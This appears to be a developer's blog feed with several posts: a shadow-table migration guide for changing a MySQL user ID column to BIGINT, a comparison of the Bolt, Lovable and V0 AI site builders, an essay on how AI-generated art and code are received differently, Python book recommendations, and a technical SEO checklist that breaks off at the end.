
If your table doesn’t have millions of rows and it’s not critical that the database keeps running, you can always just send an email notifying your users that your app will be under maintenance for a short period.

I mean nobody is going to hate you if your furry images site is down for a couple of hours, put a “touch some grass” page and perform the migration, don’t obsess unnecessarily about your app’s performance.

However, if that’s not the case and the business is losing money for every second that the database is locked…

Steps to Perform a Table Modification Using Shadow Table Strategy

Let’s walk through a real-world example where we need to change a user ID from INT to BIGINT because we’re approaching the 2.1 billion limit.

Stonks. Congratulations if you’re the one running the show.

Step 1: Create the Shadow Table

First, create your new table with the desired structure:

-- Create the shadow table with the new structure
CREATE TABLE users_new (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    name VARCHAR(255) NOT NULL,
    email VARCHAR(255) UNIQUE NOT NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP
) ENGINE=InnoDB;

-- Copy indexes from the original table
CREATE INDEX idx_users_email ON users_new(email);
CREATE INDEX idx_users_created_at ON users_new(created_at);

Step 2: Set Up Data Synchronization

This is where things get interesting. You need to keep the shadow table in sync with the original while your application continues to operate like if nothing were happening.

Yes, you’re duplicating writes and running two tables instead of one. For this there are two approaches:

Use database triggers

-- Create triggers to keep shadow table in sync
DELIMITER $$

CREATE TRIGGER users_insert_sync
    AFTER INSERT ON users
    FOR EACH ROW
BEGIN
    INSERT INTO users_new (id, name, email, created_at, updated_at)
    VALUES (NEW.id, NEW.name, NEW.email, NEW.created_at, NEW.updated_at);
END$$

CREATE TRIGGER users_update_sync
    AFTER UPDATE ON users
    FOR EACH ROW
BEGIN
    UPDATE users_new 
    SET name = NEW.name, 
        email = NEW.email, 
        updated_at = NEW.updated_at
    WHERE id = NEW.id;
END$$

CREATE TRIGGER users_delete_sync
    AFTER DELETE ON users
    FOR EACH ROW
BEGIN
    DELETE FROM users_new WHERE id = OLD.id;
END$$

DELIMITER ;

Synchronize data at Application-Level

If you prefer, you can sync the data through your application’s logic instead.

def update_user(user_id, changes):
    # Original write to main table or database
    original_db.execute("UPDATE users SET ...")
    
    # Shadow write (with transformation)
    shadow_db.execute(
        "UPDATE users_new SET name=? ...",
        data['email']
    )

Step 3: Copy Existing Data in Batches

Now comes the bulk data migration. Never try to copy everything at once, that’s a recipe for a digital hecatombe. Remember the worker pool pattern’s reason of existance.

Make sure you have enough resources and consider doing this during low-traffic periods:

-- Copy data in manageable batches to avoid long locks
SET @batch_size = 10000;
SET @min_id = 0;
SET @max_id = (SELECT MAX(id) FROM users);

-- Loop through batches (you'd typically script this)
WHILE @min_id < @max_id DO
    INSERT INTO users_new (id, name, email, created_at, updated_at)
    SELECT id, name, email, created_at, updated_at
    FROM users
    WHERE id > @min_id AND id <= @min_id + @batch_size
    ON DUPLICATE KEY UPDATE
        name = VALUES(name),
        email = VALUES(email),
        updated_at = VALUES(updated_at);
    
    SET @min_id = @min_id + @batch_size;
    
    -- Give the database a breather
    SELECT SLEEP(0.1);
END WHILE;

Step 4: Verify Data Consistency

Before you make the switch, you better be damn sure everything copied correctly:

-- Check row counts match
SELECT 
    (SELECT COUNT(*) FROM users) as original_count,
    (SELECT COUNT(*) FROM users_new) as shadow_count;

-- Check data integrity with checksums
SELECT 
    (SELECT SUM(CRC32(CONCAT(id, name, email))) FROM users) as original_checksum,
    (SELECT SUM(CRC32(CONCAT(id, name, email))) FROM users_new) as shadow_checksum;

-- Spot check some random records
SELECT * FROM users WHERE id IN (1, 1000, 50000) ORDER BY id;
SELECT * FROM users_new WHERE id IN (1, 1000, 50000) ORDER BY id;

Step 5: The Great Switcheroo

Here’s where your heart rate spikes. The actual table swap should be lightning fast, like an ~~unnecessary~~ Rust new shiny library:

-- This should take milliseconds, not minutes
START TRANSACTION;

-- Drop the triggers first (no more syncing needed)
DROP TRIGGER users_insert_sync;
DROP TRIGGER users_update_sync;
DROP TRIGGER users_delete_sync;

-- Rename tables atomically
RENAME TABLE users TO users_old, users_new TO users;

COMMIT;

Step 6: Clean Up and Verify

Clean up and ~~realize everything went wrong~~ celebrate.

-- Verify everything is working
SELECT COUNT(*) FROM users;
SELECT * FROM users LIMIT 5;

-- After you're confident everything works (give it a day or two, nevermind, maybe a couple of months)
DROP TABLE users_old;

Handling Tables with millions of QPS

For tables with millions of QPS, or million of concurrent users , you can opt for using a queue instead of directly writes.

Use a write buffer: Queue shadow writes in Redis/Kafka if database just can’t handle dual writes.

Column mapping hell? Use views to abstract renames:

  CREATE VIEW users_combined AS
  SELECT id, COALESCE(new_id, id) AS unified_id FROM users_new
  UNION ALL SELECT id, name FROM users WHERE NOT EXISTS (...);

Common Errors While Implementing Shadow Tables

Let me save you some pain by sharing some common mistakes I’ve seen and read about ~~and made~~:

Forgetting to Handle Foreign Key Constraints: If other tables reference your table, you’ll need to temporarily disable foreign key checks or handle the references carefully. Don’t just ignore this, your data integrity depends on it.

Not Testing the Triggers Thoroughly: Triggers can fail silently or behave in strange ways under load. Test them with realistic data volumes and concurrent operations before going to production.

Underestimating the Sync Lag: During heavy write periods, your triggers can let you down. Monitor the sync status and be prepared to throttle writes if necessary.

Inadequate Monitoring: You need to be aware during the migration progress, sync lag, and any errors, not after things go wrong. Implement monitoring before you start, not while everything is falling apart.

Poor Rollback Planning: Always have plan B. If something goes sideways during the switchover, you need to be able to revert quickly.

Handling Shadow Tables in Distributed Systems

Consider service discovery, connection pooling, and cache invalidation. When you rename your tables, remember that every service instance needs to know about the change simultaneously.

This often means implementing a coordinated deployment strategy where you temporarily stop traffic, perform the switch, and afterwards restart services.

Consider using feature flags, like the one I told you about in my post about deployment patterns , to control which table your application reads from. This gives you fine-grained control over the migration and allows for gradual rollouts.

Databases with read replicas

Ensure your shadow table has been fully replicated before performing the switch. Monitor replication lag carefully, as the switch needs to happen consistently across all replicas.

Monitoring Performance During the Transition

When executing the migration you’re essentially running two tables in parallel, with its corresponding I/O usage, check disk usage and monitor it.

Triggers add overhead to every single INSERT, UPDATE, and DELETE operation. Set up alerts for unusually long trigger execution times.

Compare row counts between the original and shadow tables during the process, if the difference between both grows, there is something fishy going on.

Handling Unique Constraints and Foreign Keys

For unique constraints, you need to ensure the shadow table maintains exactly the same uniqueness guarantees as the original table.

When copying data in batches, use INSERT … ON DUPLICATE KEY UPDATE or equivalent upsert logic to handle potential duplicates, especially if your application continues to write data during the migration.

For Foreign Key constraints, you can disable checks during the migration, however you’re risking data integrity, it’s always a trade off. Use deferred checks (If you’re using PostgreSQL) or disable FK checks (MySQL SET FOREIGN_KEY_CHECKS=0)

Alternatively, you can create the foreign key constraints on the shadow table and update referencing tables after the main migration finishes.

Dealing with Triggers and Stored Procedures

Existing triggers and stored procedures can be a pain in the…

Firstly, list all existing triggers on your table. You’ll need to recreate these triggers on the shadow table, just remember that execution order is paramount.

Your sync triggers should generally be executed last, after all business logic triggers have run.

Stored procedures that point to your table, should be renamed after the migration. Use synonyms or views to minimize the number of procedures requiring updates.

Test trigger interactions thoroughly in a staging environment to prevent unwanted surprises.

Verifying Data Consistency Before Cutover

Never skip this step, no matter what.

Compare aggregate values like sums, averages, and counts. Use checksums or hash your data to double-check that row data matches exactly between tables. Statistics is your friend, get the correct number of records to sample to get that 95% confidence level.

Create automated consistency check scripts that you can run repeatedly during the migration that let you know if everything is going well.

Checksum tools (like pg_checksums or custom COUNT(*) + hash_agg() queries) are your friends.

The Rollback Plan (When Everything Goes to Hell)

Are you familiar with Murphy’s Law? Well you know the drill then.

The simplest rollback is to reverse the renaming operation. Keep your original table as <table_name>_old, or whatever you want, during the cutover period, so you can quickly rename it back if Murphy shows up. This should be blazingly fast.

For more complex rollbacks, you might need to reverse-sync data from the shadow table back to the original. Consider maintaining reverse triggers during the cutover period, it adds complexity but you’ll have more options available

When production is on fire, you don’t want to be figuring out rollback commands on the fly. Always document your rollback procedures clearly, practice in stagging environments.

Consider implementing application-level rollback mechanisms using feature flags or configuration changes. I talked a little bit about them in my post about deployment patterns. Sometimes it’s faster to point your application back to the old table than to perform database-level changes.

Tools to help you

There are some tables that can help you to ease the process of migrating a table:

Tool	Best For	Killer Feature
gh-ost	MySQL	Triggerless replication
pg_repack	PostgreSQL	Online table reorganization
Liquibase	Cross-DB	Change tracking
Debezium	CDC streaming	Kafka integration

Wrapping Up

The shadow table strategy is far away from perfect and many things can occur.

Remember that every database and application is different. What works for a read-heavy tables might not work for a write-heavy tables. Always test in an environment that mimics production as closely as possible.

Don’t be afraid to abort the migration during the last minute if things aren’t going according to plan, it’s all about keeping things working not about playing the hero.

My Bolt vs Lovable vs V0 Vercel Comparison

Tue, 03 Jun 2025 16:01:02 -0600

All the tech influencers are spreading FOMO and talking about tools like Bolt, Vercel’s V0, and Lovable. But I get it, AI is overhyped right and we could be in a bubble .

Despite their non-realistic valuation, I’m astonished about what these tools can do without needing REST APIs , nor Model Context Protocol integrations from the user.

Bolt vs Lovable vs V0 pricing

Let’s compare the pricing plans and features of each one, from V0, Lovable, and Bolt, focusing on aspects that may be relevant to those interested in creating ~~vulnerable~~ sites using AI.

Feature/Category	V0	Lovable	Bolt	Winner
–Free Plan–
Price	$0	$0	$0	All
Included Credits	$5 monthly credits	5 daily (30/month)	1M tokens/month	Bolt (highest volume)
Public Projects	Yes	Yes	Yes	All
Private Projects	No	No	Yes	Bolt
Daily Limit	N/A	5 credits	150K tokens	V0 (no daily limit)
Collaboration	Sync with GitHub	Up to 20 collaborators	N/A	Lovable
AI Model Access	v0-1.5-md	N/A	N/A	V0
–Pro Plan–
Price	$20/month	$25/month	$20/month	V0/Bolt (cheaper)
Included Credits	$20 monthly credits	100 monthly credits	10M tokens/month	Bolt (highest volume)
Private Projects	Yes	Yes	Yes	All
File Upload Limit	5x higher than Free	N/A	100MB (vs 10MB Free)	Bolt
Daily Limit	N/A	5 daily (150/month)	No limit	Bolt/V0
Credit Rollover	Purchase additional	Yes	Yes (2 months)	Bolt (automatic)
AI Model Access	v0-1.5-lg + API	N/A	N/A	V0
Special Features	Import from Figma	Remove Lovable badge	Token efficiency focus	V0 (Figma integration)
–Team Plan–
Price	$30/user/month	N/A	$30/user/month	V0/Bolt
Included Credits	$30/user/month	N/A	10M tokens/user/month	Comparable
Centralized Billing	Yes	N/A	Yes	All
Collaboration	Shared chats	N/A	Team workspace	Bolt (structured)
Admin Controls	N/A	N/A	Team-level access	Bolt
–Enterprise Plan–
Pricing	Custom	Custom	Custom	All
SSO	SAML SSO	SSO	SSO + advanced security	Bolt
Support	Dedicated	Dedicated + onboarding	24/7 priority	Lovable/Bolt
Compliance	Training opt-out	Opt-out of data training	Data governance policies	Bolt
Customization	N/A	Custom integrations	Custom workflows	Lovable/Bolt
–Key Differentiators–
AI Focus	Component generation	General AI features	AI token optimization	V0 (dev-focused)
Development Features	Vercel deployment	Custom domains	Project syncing	V0 (deployment)
UI/Design	Figma import	Design templates	N/A	V0
Best For	Developers needing components	Teams needing collaboration	High-volume AI usage

Bolt vs Lovable vs V0 pricing by category

Considering the previous information we could deduce that:

Best Free Tier: Bolt (most generous limits)
Best Pro Plan: Bolt (no daily limits, rollover)
Best Team Features: Bolt (structured workspace)
Best Enterprise: Bolt (comprehensive security)
Best for Developers: V0 (component generation)
Best for Designers: V0 (Figma integration)

My take:

Bolt excels in AI resource allocation and team management
V0 shines for developer workflows and design integration
Lovable offers good mid-tier collaboration features
It’s easier to upgrade from free to paid plans on all platforms, so don’t worry about it
Token/credit systems vary significantly (Bolt’s being most transparent)

Bolt vs Lovable vs V0 which should you choose?

As you may know there are no “perfect” in the tech world, everything is a trade off so…

If you’re a solo developer: V0
For Design-focused teams: Lovable seems good
You need Heavy AI usage: Bolt
Enterprise: Either Bolt or Lovable

Bolt vs Lovable vs Vercel V0 testing

So, given the latter, I decided to try all three to create something simple, a fairly straightforward project: a landing page.

For the prompt, I used something quite simple. I decided not to be too specific, because it’s the kind of prompt that someone who isn’t very familiar with the context of Large Language Models would use. That’s why I kept it short, ambiguous, and not too specific.

Create a fancy and highly interactive landing page with cyberpunk vibes and neon colors

Trying to create a landing page in v0-vercel

The result from Vercel’s V0 is pretty decent.

The color palette is Cyberpunkish. I adored the background they used in the back, the landing page seemed a little simple to me, but it perfectly delivers on its promise.

Your browser does not support the video tag.

I had troubles using V0-vercel

However, I encountered problems with local execution, specifically a couple of dependencies that were not compatible with each other, nothing too complicated to solve.

I mention this because I found it quite strange given that everything seemed to be working perfectly on their platform, but when I wanted to replicate the project on my computer, it didn’t work “out of the box.”

But putting that aside, I think the result is solid.

Trying to create a Landing Page in Bolt

Bolt’s proposal was my favorite one. Using the neon light effect on the letters seems like a good choice to me, as it perfectly reflects the cyberpunk aesthetic of novels like Neuromancer or video games like Cyberpunk 2077.

Bolt’s AI added images that match the color palette, and I also think the frame around the image is a nice touch. The icing on the cake is the glitch effect on the hero, which is often used in cyberpunk-style audiovisual material.

Your browser does not support the video tag.

Simply perfect, I had no problems with the installation. What I did notice is that the code uses quite a lot of resources even when there is no interaction. I haven’t reviewed the code in detail, but I plan to do so and update this post.

Testing creating a landing page in Lovable

Lovable also delivers a functional landing page. However, I feel that this time it was a little too much for me.

The Matrix background, while I suppose it is related to the cyberpunk theme, given the nature of the film, I don’t feel it is an element that should be integrated into a serious landing page (unless it is “Matrix: The movie” related).

In addition, I think it went a little overboard with all the effects. Everything on the page is interactive, everything vibrates and everything moves, so much so that it feels saturated.

Your browser does not support the video tag.

While I am aware that these results can be refined after multiple iterations, when I see this, I can’t help but think of a novice programmer who wants to incorporate absolutely all the effects they have just learned into a single web page.

In addition, the footer only has the logo and copyright notice, missing the other informational links.

How to download lovable code?

Another aspect to note is that Lovable does not allow you to download the code (or at least I couldn’t do so without a premium plan). So at this point, I consider it inferior to its competitors, which do offer the code for download without much hassle.

Maybe lovable devs could benefit from fine tuning their models

Bolt vs Lovable vs v0 Vercel Results

If we consider only the result obtained, I would say that Bolt is the winner.

In terms of the experience of using the tool, I consider it to be quite similar in all three cases. All three use interfaces that seem to be becoming standard, and the truth is that I can’t even remember if there is any significant difference between the three options.

Website creation using LLM is far from perfect

Something I found quite curious is that while there are subtle differences in terms of backgrounds, button sizes, interactions, and other visual elements, all three pages use exactly the same landing page layout: a navbar with a menu on the right side, the logo on the left side, all more or less at the same distance and with 3-4 sections.

All LLM sites looks the same

It’s not necessarily a bad thing, but it does take away from the website’s personality. If you have a business, you don’t want to look like your competition; you want to stand out, and for that you need a design that’s different from the rest. One of the problems with LLMs is that they always return the most likely token, so the code they produce will be similar for all users who use it, probably with the same layout, color palette, and similar texts.

This is bad news if you want a website that stands out from the crowd, as the only solution is customization, either by a professional or by spending hours on the model to get something different.

LLM generators usually forget about SEO

One more thing that I noticed is the lack of even the basics of technical SEO , so don’t count on taking your site to Google’s first position without investing some time in it. But hey, the results were surprising and only one prompt was required.

Surprisingly, unlike AI-generated art, this AI-generated code tools went unnoticed by non-tech people.

AI-generated Art and AI-generated code are treated differently

Sun, 25 May 2025 14:29:58 -0600

Today, while doom scrolling on Zuckerberg’s social network, the algorithm recommended me an image of Sakura Card Captors in the style of the Spanish painter Remedios Varo.

Sakura Card Captors image in the style of Remedios Varo created with AI

When I checked the comments—I don’t even know what I gain from doing that—I noticed that the most liked ones expressed strong disdain for artificial intelligence. A normal behavior if you’re in the middle of AI overhype

Artists Hate AI, Devs Are Forced to Accept It

There’s a strong consensus among artists regarding AI.

Movements like #NOAI or Made with human intelligence have made their rejection of this technology very clear . The contempt seems to stem from how it was trained—using artists’ work without their permission, accused of plagiarizing something as personal as a style—and the fear of being replaced by this technology, which affects them economically.

NO AI movement

On the other hand, there’s been a strong trend (whether organic or orchestrated, I don’t know) in the software world, to adopt AI as just another tool to increase the quality and quantity of code produced. Even when there’s resistance, it’s more focused on technical aspects and potential flaws rather than the ethical concerns of its training process.

This contrast fascinates me.

My Thoughts on Why AI-Generated Code and AI-Generated Art Are Treated Differently

It’s not about one being right or wrong—it just really catches my attention.

Perhaps it’s because art is a direct form of visual and emotional communication. The fact that it’s generated by a machine might be perceived as an inferior form of expression or a threat to something considered purely human.

In contrast, code, by its functional and abstract nature, lacks that emotional weight, and the fact that a computer program generates it goes completely unnoticed.

Humans evolved using sight as a survival tool, so anything perceived visually will have a more significant impact. Code, as an abstraction of logic, is very recent and wasn’t part of our species’ evolutionary pressures or material reality. Plus, given its nature, it’s far less visual. Remember, code isn’t the final product—it’s an abstraction.

Code Is Pragmatic, Art Isn’t

Code was created to abstract, in a language closer to human speech, a series of instructions for a computer, with a well-defined and deterministic purpose.

But art tells a different story.

Oscar Wilde would say:

“All art is quite useless.”

His statement doesn’t mean art is useless in a literal sense, but that it exists for beauty and expression, not survival or moral instruction.

If there’s any truth to that, art is far more flexible than code and logical-mathematical systems.

I believe it’s precisely this flexibility that allows AI, combined with randomness, to function so differently for art and code.

The Role of Randomness in Generative Models and LLMs

AI can abstract patterns from its training dataset. Once it identifies those patterns or archetypes, it uses randomness to generate results that “fit” within them.

AI-Generated Art

An artist gathers stimuli from other artists, personal experiences, books, music… and “mixes” them to create something new. The result is something original that retains certain references or characteristics of the works that inspired it, no matter how subtle.

All of this happens consciously, whereas AI does it unconsciously—or at least that’s what Searle would suggest .

AI-Generated Code

In the case of AI-generated code, the process is practically the same. The AI detects patterns in numerous code samples and then generates new code, different but based on the patterns the LLMs have “learned.”

In both cases, randomness allows for something new—not an exact copy of the originals it was trained on (as long as it doesn’t overfit).

Randomness Impacts the Differences Between AI-Generated Art and Code

As I mentioned earlier, art is far more subjective and variable than coding. There are millions (or more) ways to present a concept or image, which aligns perfectly with how LLMs or generative models work.

When it comes to writing code, however, the number of ways to achieve the same thing is much more limited. Writing a loop that counts from 0 to 100 in the same programming language might have a dozen solutions.

This number starkly contrasts with the potential ways to paint a concept, which could be practically limitless.

With code, it’s slightly different. Obviously, as the codebase grows, the number of possible solutions increases too. But here’s a crucial difference: unlike art, not all solutions are equally valid.

The Differences Between AI-Generated Art and Code

Let me expand on this. The subjective nature of art means all representations of the same concept are valid—a Picasso-style apple is just as valid as one painted by Velázquez or Carrington.

This isn’t the case with software. A variation of any complex program (a web crawler, a database, etc.) will behave differently in different scenarios, and there will be a superior or inferior version based on the code’s requirements.

These differences can be measured quantitatively: execution time, memory usage, scalability, requests per second etc., leaving us with some solutions better than others.

Given this, AI will “get it right” less often and require more iterations when generating code. However, when creating art, the user will likely consider the result valid after just a few iterations.

This makes me think that, from my perspective, the non-deterministic nature of AI works better for creating art than for creating code.

Now, there’s another aspect I want to touch on regarding the differences between AI-generated code and AI-generated art.

The Contrast in Perception Between AI-Generated Code and AI-Generated Images

The final product of AI-generated art is the same product the user perceives. In contrast, the code AI creates doesn’t interact with the end user.

There’s no public backlash or protests over AI-generated code because people don’t see it. Code, in itself, doesn’t evoke passion or anger—unlike when Devin AI promised to replace programmers . Maybe it’s because the visual stimulus of art is far more intense than a wall of text expressing relationships between abstract entities.

For proof, just look at the response to tools like Bolt, Lovable, or V0 , which were trained using developers’ code—also without their permission.

AI-Generated Websites

But what about websites? I’d argue that even if we observe the crystallization of code into pixels on a webpage, the reaction is entirely different from what we’d experience with art—despite both being perceived visually.

An AI-generated website (and perhaps the code itself) is completely indistinguishable from one made by a human. Plus, a website isn’t usually perceived as the result of human expression (especially in today’s internet).

But with art, it’s much easier to tell—hands with too many fingers, logical inconsistencies, even that default, generic style that’s become so characteristic. Or the now-popular Ghibli style that’s turned into a commodity.

AI-generated art stands out whereas AI-generated code is invisible.

My Curated Best Resources To Learn Python Programming Language

Fri, 25 Apr 2025 00:00:00 +0000

The Best books to learn Python

I used these curated resources to learn Python, most of them are books, since I read them, I can heartily recommend them to you. If this little guide can help you to not get lost in the sea of options out there I’ll be thrilled to share my experience learning Python with you.

Dive into Python 3

This book is my favorite of all, it starts from scratch and begins to teach you the syntax of the language by creating small simple programs that even a fool ~~,like me,~~ can understand. The programs are basic but the author doesn’t stop there, throughout the book he delves into topics such as:

Explanation of how Python transforms bytes into strings
Efficiency of algorithms at a very basic level
Generators
Iterators
Closures
Regular expressions
XML handling
HTTP requests

In my humble opinion this book is my favorite source for learning Python, I also wrote a review of dive into Python in the past.

Dive into Python Book cover

Dive into Python on Amazon Check price on Amazon

Beggining Python from novice to Professional

Beggining Python from novice to Professional is an introduction to the language from scratch, basically starts with the installation of the Python binary and takes you step by step from syntax, through each of the most common uses of the language, like how to create native graphical interfaces, web servers from scratch using sockets and even some basic frameworks, like Django web framework .

Highly recommended if you want to get an overview of Python capabilities.

Beggining Python from Novice to Pro Book cover

Beginning Python from Novice to Pro on Amazon Check price on Amazon

Cracking Codes with Python

A bit unusual book, it explains the basics of Python while teaching you the history of cryptography. This book also assumes that you know absolutely nothing about Python. The theme of the book is to teach you an encryption method each chapter.

You will learn how to encrypt and decrypt using Caesar cipher, Vigenere, single-use notebooks and, to wrap the last chapters, the author dwells into the basics of RSA cipher.

If you are looking for something short, sweet and enjoyable to master the most basic parts of the language this is your book.

Cracking with Python book cover

Cracking Codes with Python on Amazon Check price on Amazon

Python Pocket Reference

This little book of about 260 pages is the whole Python programming language in a nutshell, but it is not didactic and is more like a cheatsheet or summary of all the features and subtleties of this programming language.

I can recommend it, but only if you already have notions of the language, in which case it is an excellent way to reinforce concepts and learn something new.

The strength of this book is its portability, given its pocket-size you can read it at any leisure time or when you are on the go.

Python pocket reference book cover

Python Pocket Reference on Amazon Check price on Amazon

Python tricks

If you already have some notions of the language, this book will take your skills even further. Python tricks is a compilation of some little known, or overlooked, features of this programming language. What do you mean? Well, things like:

The use of zip
Context managers
Handling iterators
Magic methods or dunders
Closures
Stacks and Queues
Named tuples

And too many things to cover in a short post. But if you have a chance and a little more experience in the language, I highly recommend you to acquire it.

Python Tricks on Amazon Check price on Amazon

My Technical SEO Basics Checklist Only For Web Developers

Mon, 14 Apr 2025 00:02:21 -0600

Previously I told you how I made many mistakes in SEO when I migrated my website from Wordpress to Hugo, after that I started watching a lot of videos about SEO, especially Romuald’s videos (He is one of the biggest SEO influencers in Spanish speaking countries), I’ve also read The art of SEO and I tried to summarize everything I learned from him and the book in a short post, just for you, before AI overhype explodes, taking SEO with it.

My totally reliable source: Romuald Fons

I decided to focus on technical SEO because it’s the one that I understand, it’s less subjective and I’m more familiar with it.

I have examined many websites and I have noticed that many professional web developers leave Technical SEO basics out from their developments, it is certainly true that it is quite an extensive topic and it is far from what their expertise area.

The way I see it, doing an average SEO is better than ignoring the topic entirely.

Simplifying SEO criminally, it can be divided in two:

Technical SEO: all those objective, measurable aspects, like the presence of a sitemap, meta tags, etc.
Content SEO: it’s a bit more subjective, it’s about what words to use, what sites to connect with

SEO is a black box and an art rather than science

Nobody knows exactly how the search engine algorithm works, so getting to the number one position in Google, or other engines, for a certain search keyword, is more of an art than a science.

Even if you manage to vaguely understand how the algorithm works enough to manipulate it, you will have to face the fact that the algorithm is a shape-shifting entity and what worked perfectly yesterday may not work today.

Despite the changes in the SEO world, the current SEO approach is still heavily tied to keywords; short phrases that you include in your website to tell search engines what your website content is about, so it can show it to the right users.

However, lately, Google has said that its algorithm is so sophisticated that it manages to evaluate how well a website responds to user intent and invites its users to focus on resolving user intent rather than keywords. Although, paradoxically, their advertising services are still strongly keyword oriented.

Technical SEO in web development

Technical SEO consists of a series of requirements that a website must meet to appear friendly to search engines, so that they index you in high positions and when a user searches in serach engines, you appear in the top positions.

This topic is very broad, but I hope to summarize in a way that you have a general idea and do not get lost in the sea of information that exists.

Sitemap.xml is the most important one of technical SEO basics

This is probably the most important element of technical SEO basics. A sitemap will tell search engines what pages your application has.

Sitemap diagram showing available urls

In many cases, a sitemap can be generated dynamically, some frameworks even have tools that allow you to do it in a few lines, such as Django (using its sitemap class) .

Once created, you must tell the search engines where the url of your sitemap is located directly from your administration panel. If you don’t explicitly indicate it, they will search in the most common urls or, luckily in the robots.txt file.

Screenshot of Google’s search console sitemap section

Robots.txt

A robots.txt file will guide search engines and crawlers on which URLs to ignore and which to inspect. In addition this file should include the location of the sitemap.

The URL for this file is always expected to be /robots.txt, so stick to this convention.

Here is an example of a robots.txt file

User-agent: *
Disallow: /*/tags/
Disallow: /*/categories/
Disallow: /*/search/

Sitemap: https://example.org/sitemap.xml

A robots.txt file is not for blocking crawlers or bots.

There is some confusion about this, and it’s pretty obvious but I’ll mention it anyway: crawlers can completely ignore the instructions in your robots.txt file, so you should not see it as a protection mechanism for your website, if a crawler wants to, it will ignore the instructions contained there.

Robots.txt won’t protect you from crawlers

If any influencer tells you otherwise, they’re lying through his teeth. Furthermore, I dare them to stop a crawler just by using a robots.txt file.

Robots disallow everything

If you want to tell crawlers to ignore absolutely everything on your site, you could use something like:

User-agent: *
Disallow: /

The counterpart of robots.txt: humans.txt

As a curious fact, there is an initiative to popularize the idea of adding the counterpart of the robots.txt file, a humans.txt file and show the human part behind a web site, the soul in the machine or in the console (the “Ghost in the shell”?), I think it is a very nice idea to know how are the humans behind a web site. Unfortunately this project has little diffusion to date.

The often ignored Schema markup

Often present as a ld+json type script tag (although there are other valid formats), which can be found anywhere in your HTML document, it tells search engines what elements your web site has and how they relate to each other.

A Schema will provide information about the contents of a webpage

The different types of Schema are very complex and it is a whole topic to discuss, since they vary greatly according to the type of website.

A website that sells electronics will have a completely different set of Schema properties than a restaurant website, or a web application.

If you are completely lost, here is a prompt you can use for guidance, just write it to ChatGPT, DeepSeek or any other competent LLM:

You are an SEO expert, create the content of a ld+json tag, based on schema.org features, for a web page whose main topic is “x”, the content of the page consists of “y”, you can use placeholders for the variables using the following format: “z”, please.

Once you get the result corroborate it with the official documentation or with your schema markup validation tool .

Presence of Meta tags

The metatags that go in the head tag of your HTML are metadata about the content that can be used to help search engines understand your site better.

Within the metatags are especially important the Open Graph, as they are the standard for social networks to obtain information from your web pages, these meta tags are the ones that make one of your links look like this when you share it on social networks.

Social networks use metatags to display relevant information on a page.

There are some meta tag generators that you can use to generate all the boilerplate, or simple ask chatGPT.

Good performance is generally overrated in technical SEO basics

A website must provide a good user experience and be responsive, it matters, yes, but not as much as you think.

Content plays a much more important role than the speed of your website, it is common to see websites that are poorly optimized but with a good ranking in search engines, but don’t blindly trust me, double-check it, check google’s first page results using the following tool.

Lighthouse score for my portfolio page

Tools like Lighthouse are very useful to measure the performance of a website and also tell you how to improve it.

IMO this is one of the most overrated technical SEO basics’ aspect.

The most overlooked aspect of a technical SEO checklist: Well-designed website architecture

Make sure the website has a structure that allows search engines to “understand” it. What do I mean? I mean that the website is organized in a logical and hierarchical way that is understandable.

For example something similar to this:

Semantic structure of a website

Does the URL structure matter in SEO?

Yes, and a lot, you can use the urls to give your website the structure you think is correct so that it is coherent with the architecture you plan, this makes it easier for search engines to “understand” your website.

I’ve talked about this on my post REST API: Best practices and design

In the following URLs, notice how there is no way to know if Nawapol is a movie, or a director or a documentary:

/session-9/
/50-first-dates/
/nawapol-thamrongrattanarit/
/salt-of-the-earth/

It would be best to provide them with a consistent and more explicit structure:

/movies/psychological-horror/session-9/
/movies/comedy/one-hundred-first-dates/
/documentaries/photography/salt-of-the-earth/
/directors/nawapol-thamrongrattanarit/

You’re probably not using the correct HTML tags

Headings and SEO

Headings are the most important tags of your content, as they tell search engines how it is organized.

Make sure you use only one h1 tag, and hierarchical h2 tags up to h6, using them to give a hierarchical structure to your website.

HTML allows you to be very expressive in SEO.

Make sure you use only one h1 tag, and hierarchical h2 tags up to h6, using them to give a hierarchical structure to your website. There is much more to it than divs, anchors, img tags and video tags. HTML provides tags to help search engines and devices to better understand the content of a web page. Don’t just stick with those elements and research the rest of the HTML tags, such as:

article: Self-contained content that could be distributed independently.
section: Thematic grouping of content, typically with a heading.
nav: Navigation links for the document or site.
footer: Footer for a section or page, often containing metadata.
datetime: Machine-readable date/time (used within time).
aside: Content tangentially related to the surrounding content.
header: Introductory content or navigational aids for a section/page.
progress: Displays the completion progress of a task.
meter: Represents a scalar measurement within a known range.
cite: Citation or reference to a creative work (e.g., book, article).
q: Short inline quotation (browser usually adds quotes).
pre: Preformatted text, preserving whitespace and line breaks.
kbd: Keyboard input, indicating user-entered keys.
samp: Sample output from a program or computing system.
dfn: Defining instance of a term (often italicized).
output: Represents the result of a calculation or user action.
abbr: Abbreviation or acronym, optionally with a title for expansion.

Presence of internal links

They help search engines understand how your pages are related to each other. Make sure your links are valid and do not return 404 errors, and that the text you link to is related to the content of the linked page.

✅ <a href="/how-to-code-clean-code">How to code clean code</a>
✅ <a href="/how-to-code-clean-code">Learn how to code clean code</a>
❌ <a href="/how-to-code-clean-code">Click here to read my new entry</a>

Presence of external links

External links, consider it as a vote in favor towards other websites to indicate to search engines that the content you link to is important, research thoroughly about the attributes nofollow, follow, ugc and sponsored in the anchor tags and use them appropriately according to your intentions.

follow, the default value, tells search engines that the site they link to should be positively valued.
nofollow, search engines should not follow this link, ideal for advertising links, affiliate links or websites you want to link to but do not want them to be related to your content.
ugc, acronym for “User generated content”, ideal for social networks.
sponsored, sponsored link, usually advertising or affiliate links.

<a href="https://example.org/" rel="nofollow">The example website</a>
<a href="https://user-website.com" rel="ugc">Just check my website</a>

How to get backlinks for SEO purposes

This is the hard part. Some people will tell you something like “Just do content worth sharing”, but most people don’t want to deal with the waiting phase; they decide to speed up the process and get more backlinks.

Also, not all backlinks are created equally; links that come from reputable sites have more weight than those that have less authority, creating an unhealthy dynamic.

Big websites know that a single backlink can boost your site’s ranking, so they don’t usually give them for free, and there are some writers at those companies who request monetary compensation to place a backlink in an article.

Sites where these services are being offered are an open secret, despite going against Google’s policies.

Other less questionable alternatives include guest posting, posting on forums, blogs, scanning websites, and offering your links instead of links that have shown a 404 HTTP status, creating banners or tools that people want to share.

The Flesch Kincaid test

